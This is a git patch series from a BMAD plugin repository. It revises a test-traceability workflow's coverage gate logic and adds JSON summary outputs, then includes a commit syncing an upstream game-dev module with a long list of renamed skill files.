+  const uniqueTests = new Map();
+
+  (requirements || []).forEach((req) => {
+    (req.tests || []).forEach((test) => {
+      const stableId =
+        test.id ||
+        [test.file, test.title || test.name, test.line]
+          .filter((value) => value !== undefined && value !== null && value !== '')
+          .join(':') ||
+        null;
+
+      if (stableId === null || uniqueTests.has(stableId)) return;
+
+      const explicitStatus = String(test.status || '')
+        .trim()
+        .toLowerCase();
+      const status = ['skipped', 'pending', 'fixme'].includes(explicitStatus)
+        ? explicitStatus
+        : test.fixme === true
+          ? 'fixme'
+          : test.pending === true
+            ? 'pending'
+            : test.skipped === true
+              ? 'skipped'
+              : 'active';
+
+      uniqueTests.set(stableId, status);
+    });
+  });
+
+  return [...uniqueTests.values()].filter((status) => status === 'active').length;
+};
+const summarizedTestInventory = coverageMatrix.test_inventory?.summary || null;
+const activeTestCases =
+  summarizedTestInventory === null
+    ? deriveActiveTestCasesFromRequirements(coverageMatrix.requirements)
+    : Math.max(
+        0,
+        (summarizedTestInventory.cases || 0) -
+          (summarizedTestInventory.skipped_cases || 0) -
+          (summarizedTestInventory.fixme_cases || 0) -
+          (summarizedTestInventory.pending_cases || 0),
+      );
+let effectiveOracleConfidence = oracleConfidence;
+if (effectiveOracleConfidence === 'high' && activeTestCases === 0) {
+  effectiveOracleConfidence = 'medium';
+}
 
-let gateDecision;
-let rationale;
+const normalizeBoolean = (value, defaultValue = true) => {
+  if (typeof value === 'string') {
+    const normalized = value.trim().toLowerCase();
+    if (['false', '0', 'off', 'no'].includes(normalized)) return false;
+    if (['true', '1', 'on', 'yes'].includes(normalized)) return true;
+  }
+  if (value === undefined || value === null) return defaultValue;
+  return Boolean(value);
+};
 
-// Rule 1: P0 coverage must be 100%
-if (p0Coverage < 100) {
-  gateDecision = 'FAIL';
-  rationale = `P0 coverage is ${p0Coverage}% (required: 100%). ${criticalGaps} critical requirements uncovered.`;
-}
-// Rule 2: Overall coverage must be >= 80%
-else if (overallCoverage < 80) {
-  gateDecision = 'FAIL';
-  rationale = `Overall coverage is ${overallCoverage}% (minimum: 80%). Significant gaps exist.`;
-}
-// Rule 3: P1 coverage < 80% → FAIL
-else if (effectiveP1Coverage < 80) {
-  gateDecision = 'FAIL';
-  rationale = hasP1Requirements
-    ? `P1 coverage is ${effectiveP1Coverage}% (minimum: 80%). High-priority gaps must be addressed.`
-    : `P1 requirements are not present; continuing with remaining gate criteria.`;
-}
-// Rule 4: P1 coverage >= 90% and overall >= 80% with P0 at 100% → PASS
-else if (effectiveP1Coverage >= 90) {
-  gateDecision = 'PASS';
-  rationale = hasP1Requirements
-    ? `P0 coverage is 100%, P1 coverage is ${effectiveP1Coverage}% (target: 90%), and overall coverage is ${overallCoverage}% (minimum: 80%).`
-    : `P0 coverage is 100% and overall coverage is ${overallCoverage}% (minimum: 80%). No P1 requirements detected.`;
-}
-// Rule 5: P1 coverage 80-89% with P0 at 100% and overall >= 80% → CONCERNS
-else if (effectiveP1Coverage >= 80) {
-  gateDecision = 'CONCERNS';
-  rationale = hasP1Requirements
-    ? `P0 coverage is 100% and overall coverage is ${overallCoverage}% (minimum: 80%), but P1 coverage is ${effectiveP1Coverage}% (target: 90%).`
-    : `P0 coverage is 100% and overall coverage is ${overallCoverage}% (minimum: 80%), but additional non-P1 gaps need mitigation.`;
-}
+const collectionMode = String(!isUnresolved(coverageMatrix.collection_mode) ? coverageMatrix.collection_mode : 'contract_static')
+  .trim()
+  .toLowerCase();
+const rawAllowGate = !isUnresolved(coverageMatrix.allow_gate) ? coverageMatrix.allow_gate : true;
+const allowGate = normalizeBoolean(rawAllowGate, true);
+const rawCollectionStatus =
+  coverageMatrix.collection_status ||
+  {
+    waived: 'WAIVED',
+    restricted: 'RESTRICTED',
+    inaccessible: 'INACCESSIBLE',
+    deferred_shared: 'DEFERRED_SHARED',
+  }[collectionMode] ||
+  'COLLECTED';
+// Normalize to UPPER_CASE + trimmed so comparisons are whitespace/case-safe.
+const collectionStatus = String(rawCollectionStatus).trim().toUpperCase();
+const gateEligible = allowGate && collectionStatus === 'COLLECTED';
+
+let gateDecision = 'NOT_EVALUATED'; // default; overwritten when gateEligible
+let rationale;
 
-// Rule 6: Manual waiver option
-const manualWaiver = false; // Can be set via config or user input
-if (manualWaiver) {
-  gateDecision = 'WAIVED';
-  rationale += ' Manual waiver applied by stakeholder.';
+if (!gateEligible) {
+  rationale = `Gate decision skipped because allow_gate=${allowGate} and collection_status=${collectionStatus}.`;
+} else {
+  // Rule 1: P0 coverage must be 100%
+  if (p0Coverage < 100) {
+    gateDecision = 'FAIL';
+    rationale = `P0 coverage is ${p0Coverage}% (required: 100%). ${criticalGaps} critical requirements uncovered.`;
+  }
+  // Rule 2: Overall coverage must be >= 80%
+  else if (overallCoverage < 80) {
+    gateDecision = 'FAIL';
+    rationale = `Overall coverage is ${overallCoverage}% (minimum: 80%). Significant gaps exist.`;
+  }
+  // Rule 3: P1 coverage < 80% → FAIL
+  else if (effectiveP1Coverage < 80) {
+    gateDecision = 'FAIL';
+    rationale = hasP1Requirements
+      ? `P1 coverage is ${effectiveP1Coverage}% (minimum: 80%). High-priority gaps must be addressed.`
+      : `P1 requirements are not present; continuing with remaining gate criteria.`;
+  }
+  // Rule 4: P1 coverage >= 90% and overall >= 80% with P0 at 100% → PASS
+  else if (effectiveP1Coverage >= 90) {
+    gateDecision = 'PASS';
+    rationale = hasP1Requirements
+      ? `P0 coverage is 100%, P1 coverage is ${effectiveP1Coverage}% (target: 90%), and overall coverage is ${overallCoverage}% (minimum: 80%).`
+      : `P0 coverage is 100% and overall coverage is ${overallCoverage}% (minimum: 80%). No P1 requirements detected.`;
+  }
+  // Rule 5: P1 coverage 80-89% with P0 at 100% and overall >= 80% → CONCERNS
+  else if (effectiveP1Coverage >= 80) {
+    gateDecision = 'CONCERNS';
+    rationale = hasP1Requirements
+      ? `P0 coverage is 100% and overall coverage is ${overallCoverage}% (minimum: 80%), but P1 coverage is ${effectiveP1Coverage}% (target: 90%).`
+      : `P0 coverage is 100% and overall coverage is ${overallCoverage}% (minimum: 80%), but additional non-P1 gaps need mitigation.`;
+  }
+
+  // Rule 6: Manual waiver — set gateDecision = 'WAIVED' and update rationale here
+  // if a stakeholder-approved waiver applies (wired through config or user input upstream).
+
+  // Oracle confidence overlay
+  if (syntheticOracle && gateDecision === 'PASS' && effectiveOracleConfidence !== 'high') {
+    gateDecision = 'CONCERNS';
+    rationale =
+      `Coverage traced against inferred ${coverageBasis.replace('_', ' ')} with ${effectiveOracleConfidence} confidence. ` +
+      `Base coverage meets PASS thresholds, but confidence is not high enough for an unconditional PASS.`;
+  } else if (syntheticOracle && effectiveOracleConfidence === 'low' && gateDecision === 'NOT_EVALUATED') {
+    gateDecision = 'CONCERNS';
+    rationale =
+      `Coverage traced against inferred ${coverageBasis.replace('_', ' ')} with low confidence. ` +
+      `Treat this result as advisory until the inferred journeys are confirmed or formalized.`;
+  }
 }
 ```
 
@@ -119,31 +262,286 @@ if (manualWaiver) {
 
 ```javascript
 const gateReport = {
-  decision: gateDecision,
+  gate_eligible: gateEligible,
+  collection_status: collectionStatus,
+  decision: gateEligible ? gateDecision : 'NOT_EVALUATED',
   rationale: rationale,
   decision_date: new Date().toISOString(),
 
   coverage_matrix: coverageMatrix,
 
-  gate_criteria: {
+  gate_criteria: gateEligible
+    ? {
+        p0_coverage_required: '100%',
+        p0_coverage_actual: `${p0Coverage}%`,
+        p0_status: p0Coverage === 100 ? 'MET' : 'NOT_MET',
+
+        p1_coverage_target: '90%',
+        p1_coverage_minimum: '80%',
+        p1_coverage_actual: `${effectiveP1Coverage}%`,
+        p1_status: effectiveP1Coverage >= 90 ? 'MET' : effectiveP1Coverage >= 80 ? 'PARTIAL' : 'NOT_MET',
+
+        overall_coverage_minimum: '80%',
+        overall_coverage_actual: `${overallCoverage}%`,
+        overall_status: overallCoverage >= 80 ? 'MET' : 'NOT_MET',
+      }
+    : null,
+
+  uncovered_requirements: (coverageMatrix.gap_analysis?.critical_gaps || []).concat(coverageMatrix.gap_analysis?.high_gaps || []),
+
+  recommendations: coverageMatrix.recommendations,
+};
+```
+
+---
+
+### 3b. Emit `e2e-trace-summary.json`
+
+**After the gate report is assembled, write the machine-readable summary to `{e2e_trace_summary_output}`.**
+
+This file is the portable, automation-friendly companion to the markdown report. Any CI/CD pipeline, reporting dashboard, or LLM agent can consume it without parsing markdown.
+
+```javascript
+const buildFallbackInventory = () => {
+  const byLevel = {
+    e2e: { tests: 0, criteria_covered: 0 },
+    api: { tests: 0, criteria_covered: 0 },
+    component: { tests: 0, criteria_covered: 0 },
+    unit: { tests: 0, criteria_covered: 0 },
+    other: { tests: 0, criteria_covered: 0 }, // captures tests with unrecognized or empty level
+  };
+  const coverageEligibleStatuses = new Set(['FULL', 'PARTIAL', 'UNIT-ONLY', 'INTEGRATION-ONLY']);
+  const uniqueTests = new Map();
+
+  (coverageMatrix.requirements || []).forEach((req) => {
+    (req.tests || []).forEach((test) => {
+      const stableId =
+        test.id ||
+        [test.file, test.title || test.name, test.line]
+          .filter((value) => value !== undefined && value !== null && value !== '')
+          .join(':') ||
+        null; // unresolvable — skip rather than manufacture a key
+
+      if (stableId === null || uniqueTests.has(stableId)) return;
+      const explicitStatus = String(test.status || '')
+        .trim()
+        .toLowerCase();
+      const status = ['skipped', 'pending', 'fixme'].includes(explicitStatus)
+        ? explicitStatus
+        : test.fixme === true
+          ? 'fixme'
+          : test.pending === true
+            ? 'pending'
+            : test.skipped === true
+              ? 'skipped'
+              : 'active';
+
+      uniqueTests.set(stableId, {
+        id: stableId,
+        file: test.file || '',
+        title: test.title || test.name || stableId,
+        level: String(test.level || '')
+          .trim()
+          .toLowerCase(),
+        skipped: status === 'skipped',
+        fixme: status === 'fixme',
+        pending: status === 'pending',
+        status: status,
+        blocker_reason: test.skip_reason || test.blocker_reason || test.fixme_reason || test.pending_reason || '',
+      });
+    });
+
+    if (!coverageEligibleStatuses.has(req.coverage)) return;
+    const requirementLevels = new Set(
+      (req.tests || []).map((test) => {
+        const level = String(test.level || '')
+          .trim()
+          .toLowerCase();
+        return byLevel[level] ? level : 'other';
+      }),
+    );
+    requirementLevels.forEach((level) => {
+      byLevel[level].criteria_covered += 1;
+    });
+  });
+
+  const deduplicatedTests = [...uniqueTests.values()];
+  deduplicatedTests.forEach((test) => {
+    const bucket = byLevel[test.level] ? test.level : 'other';
+    byLevel[bucket].tests += 1;
+  });
+
+  return {
+    summary: {
+      files: [...new Set(deduplicatedTests.map((test) => test.file).filter(Boolean))].length,
+      cases: deduplicatedTests.length,
+      skipped_cases: deduplicatedTests.filter((test) => test.skipped).length,
+      fixme_cases: deduplicatedTests.filter((test) => test.fixme).length,
+      pending_cases: deduplicatedTests.filter((test) => test.pending).length,
+      by_level: byLevel,
+    },
+    blockers: deduplicatedTests
+      .filter((test) => ['skipped', 'pending', 'fixme'].includes(test.status))
+      .map((test) => ({
+        id: test.id,
+        severity: test.status === 'skipped' ? 'high' : 'medium',
+        reason: test.blocker_reason || `Test marked ${test.status} during trace collection`,
+        test_file: test.file,
+        test_title: test.title,
+      })),
+  };
+};
+
+const fallbackInventory = buildFallbackInventory();
+const testInventory = coverageMatrix.test_inventory?.summary || fallbackInventory.summary;
+const blockers = coverageMatrix.blockers || coverageMatrix.test_inventory?.blockers || fallbackInventory.blockers;
+
+const heuristicCounts = coverageMatrix.coverage_heuristics?.counts || {};
+const endpointGapCount = heuristicCounts.endpoints_without_tests ?? 0;
+const authGapCount = heuristicCounts.auth_missing_negative_paths ?? 0;
+const errorPathGapCount = heuristicCounts.happy_path_only_criteria ?? 0;
+const uiJourneyGapCount = heuristicCounts.ui_journeys_without_e2e;
+const uiStateGapCount = heuristicCounts.ui_states_missing_coverage;
+const sourceSha = process.env.GITHUB_SHA || runtime.getSourceSha?.() || '';
+const mapOptionalHeuristicStatus = (count, applicable) => {
+  if (!applicable) return 'not_applicable';
+  if (typeof count !== 'number' || Number.isNaN(count)) return 'unknown';
+  if (count === 0) return 'present';
+  return count <= 2 ? 'partial' : 'none';
+};
+const gateBasis = gateEligible ? 'priority_thresholds' : 'none';
+
+const e2eTraceSummary = {
+  schema_version: '0.1.0',
+  snapshot_at: new Date().toISOString(),
+  repo: '{project_name}',
+  collection_mode: collectionMode,
+  collection_status: collectionStatus,
+  inventory_basis: coverageBasis,
+  gate_basis: gateBasis,
+  source_sha: sourceSha || '',
+  target: coverageMatrix.trace_target || { type: '{gate_type}', id: null, label: null },
+  decision_mode: '{decision_mode}',
+  evaluator: '{user_name}',
+  confidence: effectiveOracleConfidence,
+  oracle: {
+    resolution_mode: oracleResolutionMode,
+    confidence: effectiveOracleConfidence,
+    sources: coverageMatrix.oracle?.sources || [],
+    external_pointer_status: coverageMatrix.oracle?.external_pointer_status || 'not_used',
+    synthetic: syntheticOracle,
+  },
+
+  coverage: {
+    inventory: {
+      covered: stats.fully_covered,
+      total: stats.total_requirements,
+      pct: stats.overall_coverage_percentage,
+    },
+    priority_breakdown: {
+      P0: {
+        total: priorityBreakdown.P0.total,
+        covered: priorityBreakdown.P0.covered,
+        pct: priorityBreakdown.P0.percentage,
+      },
+      P1: {
+        total: priorityBreakdown.P1.total,
+        covered: priorityBreakdown.P1.covered,
+        pct: priorityBreakdown.P1.percentage,
+      },
+      P2: {
+        total: priorityBreakdown.P2.total,
+        covered: priorityBreakdown.P2.covered,
+        pct: priorityBreakdown.P2.percentage,
+      },
+      P3: {
+        total: priorityBreakdown.P3.total,
+        covered: priorityBreakdown.P3.covered,
+        pct: priorityBreakdown.P3.percentage,
+      },
+    },
+    by_level: testInventory.by_level,
+  },
+
+  tests: {
+    files: testInventory.files || 0,
+    cases: testInventory.cases || 0,
+    skipped_cases: testInventory.skipped_cases || 0,
+    fixme_cases: testInventory.fixme_cases || 0,
+    pending_cases: testInventory.pending_cases || 0,
+  },
+
+  risk_summary: {
+    critical_open: (coverageMatrix.gap_analysis?.critical_gaps || []).length,
+    high_open: (coverageMatrix.gap_analysis?.high_gaps || []).length,
+    medium_open: (coverageMatrix.gap_analysis?.medium_gaps || []).length,
+    low_open: (coverageMatrix.gap_analysis?.low_gaps || []).length,
+  },
+
+  heuristics: {
+    endpoint_gaps: endpointGapCount,
+    auth_negative_path_status: authGapCount === 0 ? 'present' : authGapCount <= 2 ? 'partial' : 'none',
+    error_path_status: errorPathGapCount === 0 ? 'present' : errorPathGapCount <= 2 ? 'partial' : 'none',
+    ui_journey_status: mapOptionalHeuristicStatus(uiJourneyGapCount, syntheticOracle),
+    ui_state_status: mapOptionalHeuristicStatus(uiStateGapCount, syntheticOracle),
+  },
+
+  blockers: blockers,
+  recommendations: coverageMatrix.recommendations,
+
+  links: {
+    trace_report_path: '{outputFile}',
+    trace_report_url: '', // populated by CI/CD runner after artifact upload
+    artifact_url: '',
+    journey_evidence_url: '',
+  },
+};
+
+if (gateEligible) {
+  e2eTraceSummary.gate_status = gateDecision;
+  e2eTraceSummary.gate_criteria = {
     p0_coverage_required: '100%',
     p0_coverage_actual: `${p0Coverage}%`,
-    p0_status: p0Coverage === 100 ? 'MET' : 'NOT MET',
-
-    p1_coverage_target_pass: '90%',
+    p0_status: p0Coverage === 100 ? 'MET' : 'NOT_MET',
+    p1_coverage_target: '90%',
     p1_coverage_minimum: '80%',
     p1_coverage_actual: `${effectiveP1Coverage}%`,
-    p1_status: effectiveP1Coverage >= 90 ? 'MET' : effectiveP1Coverage >= 80 ? 'PARTIAL' : 'NOT MET',
-
+    p1_status: effectiveP1Coverage >= 90 ? 'MET' : effectiveP1Coverage >= 80 ? 'PARTIAL' : 'NOT_MET',
     overall_coverage_minimum: '80%',
     overall_coverage_actual: `${overallCoverage}%`,
-    overall_status: overallCoverage >= 80 ? 'MET' : 'NOT MET',
-  },
+    overall_status: overallCoverage >= 80 ? 'MET' : 'NOT_MET',
+  };
+}
+
+fs.writeFileSync('{e2e_trace_summary_output}', JSON.stringify(e2eTraceSummary, null, 2), 'utf8');
+console.log(`✅ e2e-trace-summary.json written to {e2e_trace_summary_output}`);
+```
 
-  uncovered_requirements: coverageMatrix.gap_analysis.critical_gaps.concat(coverageMatrix.gap_analysis.high_gaps),
+**Optional: emit `gate-decision.json`** for pipelines that only need the gate signal without the full summary:
 
-  recommendations: coverageMatrix.recommendations,
-};
+```javascript
+// Construct and write only when gate evaluation was performed and produced a meaningful decision.
+// gateDecisionSlim is intentionally inside this guard: e2eTraceSummary.gate_criteria is only
+// populated when gateEligible is true, so constructing it outside would throw when !gateEligible.
+if (gateEligible && ['PASS', 'CONCERNS', 'FAIL', 'WAIVED'].includes(gateDecision)) {
+  const gateDecisionSlim = {
+    schema_version: '0.1.0',
+    evaluated_at: e2eTraceSummary.snapshot_at,
+    repo: e2eTraceSummary.repo,
+    target: e2eTraceSummary.target,
+    collection_status: e2eTraceSummary.collection_status,
+    gate_basis: e2eTraceSummary.gate_basis,
+    gate_status: gateDecision,
+    rationale: rationale,
+    p0_status: e2eTraceSummary.gate_criteria.p0_status,
+    p1_status: e2eTraceSummary.gate_criteria.p1_status,
+    overall_status: e2eTraceSummary.gate_criteria.overall_status,
+    critical_open: e2eTraceSummary.risk_summary.critical_open,
+    links: e2eTraceSummary.links,
+  };
+  fs.writeFileSync('{gate_decision_output}', JSON.stringify(gateDecisionSlim, null, 2), 'utf8');
+  console.log(`✅ gate-decision.json written to {gate_decision_output}`);
+}
 ```
 
 ---
@@ -206,6 +604,10 @@ fs.writeFileSync('{outputFile}', reportContent, 'utf8');
 
 📂 Full Report: {outputFile}
 
+{if !gateEligible}
+ℹ️ GATE: NOT EVALUATED - collection status is {collectionStatus}; machine-readable summary still emitted
+{endif}
+
 {if FAIL}
 🚫 GATE: FAIL - Release BLOCKED until coverage improves
 {endif}
@@ -240,7 +642,9 @@ Then append the gate decision summary (from section 5 above) to the end of the e
 **WORKFLOW COMPLETE when:**
 
 - ✅ Phase 1 coverage matrix read successfully
-- ✅ Gate decision logic applied
+- ✅ Collection status resolved and gate decision logic applied when eligible
+- ✅ `e2e-trace-summary.json` written to `{e2e_trace_summary_output}`
+- ✅ `gate-decision.json` written to `{gate_decision_output}` (when gate-eligible)
 - ✅ Traceability report generated
 - ✅ Gate decision displayed
 
@@ -253,14 +657,17 @@ Then append the gate decision summary (from section 5 above) to the end of the e
 ### ✅ SUCCESS:
 
 - Coverage matrix read from Phase 1
-- Gate decision made with clear rationale
+- Gate decision made with clear rationale when gate-eligible
+- `e2e-trace-summary.json` written and valid
+- `gate-decision.json` written when gate-eligible
 - Report generated and saved
 - Decision communicated clearly
 
 ### ❌ FAILURE:
 
 - Could not read Phase 1 matrix
-- Gate decision logic incorrect
+- Gate eligibility or gate decision logic incorrect
+- `e2e-trace-summary.json` missing or invalid JSON
 - Report missing or incomplete
 
-**Master Rule:** Gate decision MUST be deterministic based on clear criteria (P0 100%, P1 90/80, overall >=80).
+**Master Rule:** Gate decision MUST be deterministic based on clear criteria (P0 100%, P1 90/80, overall >=80) whenever `allow_gate` is true and `collection_status` is `COLLECTED`. `e2e-trace-summary.json` MUST be written before the workflow terminates.
diff --git a/plugins/bmad/skills/bmad-testarch-trace/trace-template.md b/plugins/bmad/skills/bmad-testarch-trace/trace-template.md
index 31daedc..974c704 100644
--- a/plugins/bmad/skills/bmad-testarch-trace/trace-template.md
+++ b/plugins/bmad/skills/bmad-testarch-trace/trace-template.md
@@ -4,13 +4,21 @@ lastStep: ''
 lastSaved: ''
 workflowType: 'testarch-trace'
 inputDocuments: []
+coverageBasis: ''
+oracleConfidence: ''
+oracleResolutionMode: ''
+oracleSources: []
+externalPointerStatus: ''
 ---
 
-# Traceability Matrix & Gate Decision - Story {STORY_ID}
+# Traceability Matrix & Gate Decision - {TRACE_TARGET_LABEL}
 
-**Story:** {STORY_TITLE}
+**Target:** {TRACE_TARGET_LABEL}
 **Date:** {DATE}
 **Evaluator:** {user_name or TEA Agent}
+**Coverage Oracle:** {COVERAGE_BASIS}
+**Oracle Confidence:** {ORACLE_CONFIDENCE}
+**Oracle Sources:** {ORACLE_SOURCES}
 
 ---
 

From 59fdcd93fa9b17061a9bce4bf4e5b39913e37ac0 Mon Sep 17 00:00:00 2001
From: tgorka <tomasz@gorka.org.pl>
Date: Sat, 18 Apr 2026 19:23:29 -0700
Subject: [PATCH 4/4] =?UTF-8?q?chore:=20sync=20upstream=20GDS=20v0.2.2=20?=
 =?UTF-8?q?=E2=86=92=20v0.3.0?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Upstream releases covered: v0.2.3, v0.2.4, v0.3.0
Latest at https://github.com/bmad-code-org/bmad-module-game-dev-studio/releases

Notable upstream changes pulled in:
- v0.2.2: All 22 workflows renamed with gds- prefix (applied earlier,
  inherited here)
- v0.2.3: Workflow refs changed from markdown links to bare paths
  (Opencode compatibility)
- v0.2.4: Hardcoded _bmad/ paths replaced with relative / skill: prefixes
  (future-proofing)
- v0.3.0: Latest tag — brings plugin to newest GDS release

Structural changes surfaced by find-orphan-files:
- gds-create-gdd: steps/ → steps-c/ reorganization — 15 old step files
  removed
- gds-quick-dev: steps/ → steps-c/ reorganization — 6 old step files
  removed
- 3 orphan skill dirs removed by clean:orphaned (create-prd,
  gds-quick-dev-new-preview, gds-quick-spec)
- 5 new game-dev agents regenerated

The fetch-latest bump picked v0.3.0 rather than the v0.2.4 referenced in
issue #56 because v0.3.0 shipped between the issue opening and this sync.
Happy to pin to v0.2.4 via --tag if preferred.

Plugin version bumped to 6.3.0.2 via bun run bump-module --source gds.
---
 .github/badges/upstream-version-gds.json      |   2 +-
 .plugin-version                               |   2 +-
 .upstream-versions/gds.json                   |   4 +-
 README.md                                     |   4 +-
 package.json                                  |   2 +-
 plugins/bmad/.claude-plugin/plugin.json       |   2 +-
 .../bmad/agents/gds-agent-game-architect.md   |   8 +-
 .../bmad/agents/gds-agent-game-designer.md    |   8 +-
 plugins/bmad/agents/gds-agent-game-dev.md     |  56 +++-
 .../bmad/agents/gds-agent-game-solo-dev.md    |  12 +-
 plugins/bmad/agents/gds-agent-tech-writer.md  |   8 +-
 plugins/bmad/skills/create-prd/SKILL.md       | 151 ---------
 .../skills/create-prd/workflow-create-prd.md  |  63 ----
 .../skills/create-prd/workflow-edit-prd.md    |  65 ----
 .../create-prd/workflow-validate-prd.md       |  63 ----
 .../bmad/skills/gds-brainstorm-game/SKILL.md  |   2 +-
 .../gds-brainstorm-game/steps/step-01-init.md |   2 +-
 .../steps/step-02-context.md                  |   4 +-
 .../steps/step-03-ideation.md                 |   8 +-
 .../steps/step-04-complete.md                 |   6 +-
 .../SKILL.md                                  |   2 +-
 plugins/bmad/skills/gds-code-review/SKILL.md  |   4 +-
 .../steps/step-01-gather-context.md           |  85 +++++
 .../gds-code-review/steps/step-02-review.md   |  35 +++
 .../gds-code-review/steps/step-03-triage.md   |  49 +++
 .../gds-code-review/steps/step-04-present.md  | 126 ++++++++
 .../bmad/skills/gds-correct-course/SKILL.md   |   4 +-
 .../skills/gds-correct-course/checklist.md    |   6 +-
 .../gds-create-epics-and-stories/SKILL.md     |   2 +-
 .../steps/step-01-validate-prerequisites.md   |   4 +-
 .../steps/step-02-design-epics.md             |   4 +-
 .../steps/step-03-create-stories.md           |   4 +-
 .../steps/step-04-final-validation.md         |   4 +-
 .../skills/gds-create-game-brief/SKILL.md     |   2 +-
 .../steps/step-01-init.md                     |   2 +-
 .../steps/step-01b-continue.md                |   2 +-
 .../steps/step-02-vision.md                   |   6 +-
 .../steps/step-03-market.md                   |   6 +-
 .../steps/step-04-fundamentals.md             |   6 +-
 .../steps/step-05-scope.md                    |   6 +-
 .../steps/step-06-references.md               |   6 +-
 .../steps/step-07-content.md                  |   6 +-
 .../steps/step-08-complete.md                 |   4 +-
 plugins/bmad/skills/gds-create-gdd/SKILL.md   |   2 +-
 .../{steps => steps-c}/step-01-init.md        |   2 +-
 .../{steps => steps-c}/step-01b-continue.md   |   2 +-
 .../{steps => steps-c}/step-02-context.md     |   6 +-
 .../{steps => steps-c}/step-03-platforms.md   |   6 +-
 .../{steps => steps-c}/step-04-vision.md      |   6 +-
 .../step-05-core-gameplay.md                  |   6 +-
 .../{steps => steps-c}/step-06-mechanics.md   |   6 +-
 .../{steps => steps-c}/step-07-game-type.md   |   6 +-
 .../{steps => steps-c}/step-08-progression.md |   6 +-
 .../{steps => steps-c}/step-09-levels.md      |   6 +-
 .../{steps => steps-c}/step-10-art-audio.md   |   6 +-
 .../{steps => steps-c}/step-11-technical.md   |   6 +-
 .../{steps => steps-c}/step-12-epics.md       |   6 +-
 .../{steps => steps-c}/step-13-metrics.md     |   6 +-
 .../{steps => steps-c}/step-14-complete.md    |   6 +-
 .../bmad/skills/gds-create-narrative/SKILL.md |   2 +-
 .../steps/step-01-init.md                     |   2 +-
 .../steps/step-01b-continue.md                |   2 +-
 .../steps/step-02-foundation.md               |   6 +-
 .../steps/step-03-story.md                    |   6 +-
 .../steps/step-04-characters.md               |   6 +-
 .../steps/step-05-world.md                    |   6 +-
 .../steps/step-06-dialogue.md                 |   6 +-
 .../steps/step-07-environmental.md            |   6 +-
 .../steps/step-08-delivery.md                 |   6 +-
 .../steps/step-09-integration.md              |   6 +-
 .../steps/step-10-production.md               |   6 +-
 .../steps/step-11-complete.md                 |   4 +-
 plugins/bmad/skills/gds-create-prd/SKILL.md   |   6 +
 .../data/domain-complexity.csv                |   0
 .../data/prd-purpose.md                       |   2 +-
 .../data/project-types.csv                    |   0
 .../steps-c/step-01-init.md                   |   0
 .../steps-c/step-01b-continue.md              |   4 +-
 .../steps-c/step-02-discovery.md              |   4 +-
 .../steps-c/step-02b-vision.md                |   4 +-
 .../steps-c/step-02c-executive-summary.md     |   4 +-
 .../steps-c/step-03-success.md                |   6 +-
 .../steps-c/step-04-journeys.md               |   6 +-
 .../steps-c/step-05-domain.md                 |   6 +-
 .../steps-c/step-06-innovation.md             |   6 +-
 .../steps-c/step-07-project-type.md           |   4 +-
 .../steps-c/step-08-scoping.md                | 109 +++++--
 .../steps-c/step-09-functional.md             |   4 +-
 .../steps-c/step-10-nonfunctional.md          |   4 +-
 .../steps-c/step-11-polish.md                 |  11 +-
 .../steps-c/step-12-complete.md               |   2 +-
 .../templates/prd-template.md                 |   0
 plugins/bmad/skills/gds-create-story/SKILL.md |   2 +-
 .../bmad/skills/gds-create-story/template.md  |   5 +
 .../bmad/skills/gds-create-ux-design/SKILL.md |   2 +-
 .../steps/step-02-discovery.md                |   2 +-
 .../steps/step-03-core-experience.md          |   4 +-
 .../steps/step-04-emotional-response.md       |   4 +-
 .../steps/step-05-inspiration.md              |   4 +-
 .../steps/step-06-design-system.md            |   4 +-
 .../steps/step-07-defining-experience.md      |   4 +-
 .../steps/step-08-visual-foundation.md        |   4 +-
 .../steps/step-09-design-directions.md        |   4 +-
 .../steps/step-10-user-journeys.md            |   4 +-
 .../steps/step-11-component-strategy.md       |   4 +-
 .../steps/step-12-ux-patterns.md              |   4 +-
 .../steps/step-13-responsive-accessibility.md |   4 +-
 plugins/bmad/skills/gds-dev-story/SKILL.md    |   2 +-
 .../bmad/skills/gds-document-project/SKILL.md |   2 +-
 .../gds-document-project/instructions.md      |  10 +-
 .../workflows/deep-dive-workflow.md           |   8 +-
 .../workflows/full-scan-workflow.md           |   8 +-
 plugins/bmad/skills/gds-e2e-scaffold/SKILL.md |   2 +-
 plugins/bmad/skills/gds-edit-gdd/SKILL.md     |   6 +
 .../skills/gds-edit-gdd/data/gdd-purpose.md   | 224 ++++++++++++++
 .../steps-e/step-e-01-discovery.md            | 264 ++++++++++++++++
 .../steps-e/step-e-01b-legacy-conversion.md   | 226 ++++++++++++++
 .../gds-edit-gdd/steps-e/step-e-02-review.md  | 264 ++++++++++++++++
 .../gds-edit-gdd/steps-e/step-e-03-edit.md    | 273 ++++++++++++++++
 .../steps-e/step-e-04-complete.md             | 172 +++++++++++
 plugins/bmad/skills/gds-edit-prd/SKILL.md     |   6 +
 .../skills/gds-edit-prd/data/prd-purpose.md   | 197 ++++++++++++
 .../steps-e/step-e-01-discovery.md            |   5 +-
 .../steps-e/step-e-01b-legacy-conversion.md   |   2 +-
 .../steps-e/step-e-02-review.md               |   3 +-
 .../steps-e/step-e-03-edit.md                 |   3 +-
 .../steps-e/step-e-04-complete.md             |   5 +-
 .../skills/gds-game-architecture/SKILL.md     |   2 +-
 .../steps/step-01-init.md                     |   2 +-
 .../steps/step-01b-continue.md                |   2 +-
 .../steps/step-02-context.md                  |   6 +-
 .../steps/step-03-starter.md                  |   6 +-
 .../steps/step-04-decisions.md                |   6 +-
 .../steps/step-05-crosscutting.md             |   6 +-
 .../steps/step-06-structure.md                |   6 +-
 .../steps/step-07-patterns.md                 |   6 +-
 .../steps/step-08-validation.md               |   6 +-
 .../steps/step-09-complete.md                 |   6 +-
 .../gds-generate-project-context/SKILL.md     |   2 +-
 .../steps/step-02-generate.md                 |   4 +-
 .../bmad/skills/gds-performance-test/SKILL.md |   2 +-
 .../bmad/skills/gds-playtest-plan/SKILL.md    |   2 +-
 .../skills/gds-quick-dev-new-preview/SKILL.md |   6 -
 .../steps/step-01-clarify-and-route.md        |  54 ----
 .../steps/step-02-plan.md                     |  39 ---
 .../steps/step-03-implement.md                |  35 ---
 .../steps/step-05-present.md                  |  19 --
 plugins/bmad/skills/gds-quick-dev/SKILL.md    |   4 +-
 .../gds-quick-dev/compile-epic-context.md     |  62 ++++
 .../spec-template.md}                         |   4 +-
 .../step-01-clarify-and-route.md              | 100 ++++++
 .../bmad/skills/gds-quick-dev/step-02-plan.md |  47 +++
 .../skills/gds-quick-dev/step-03-implement.md |  41 +++
 .../steps => gds-quick-dev}/step-04-review.md |  19 +-
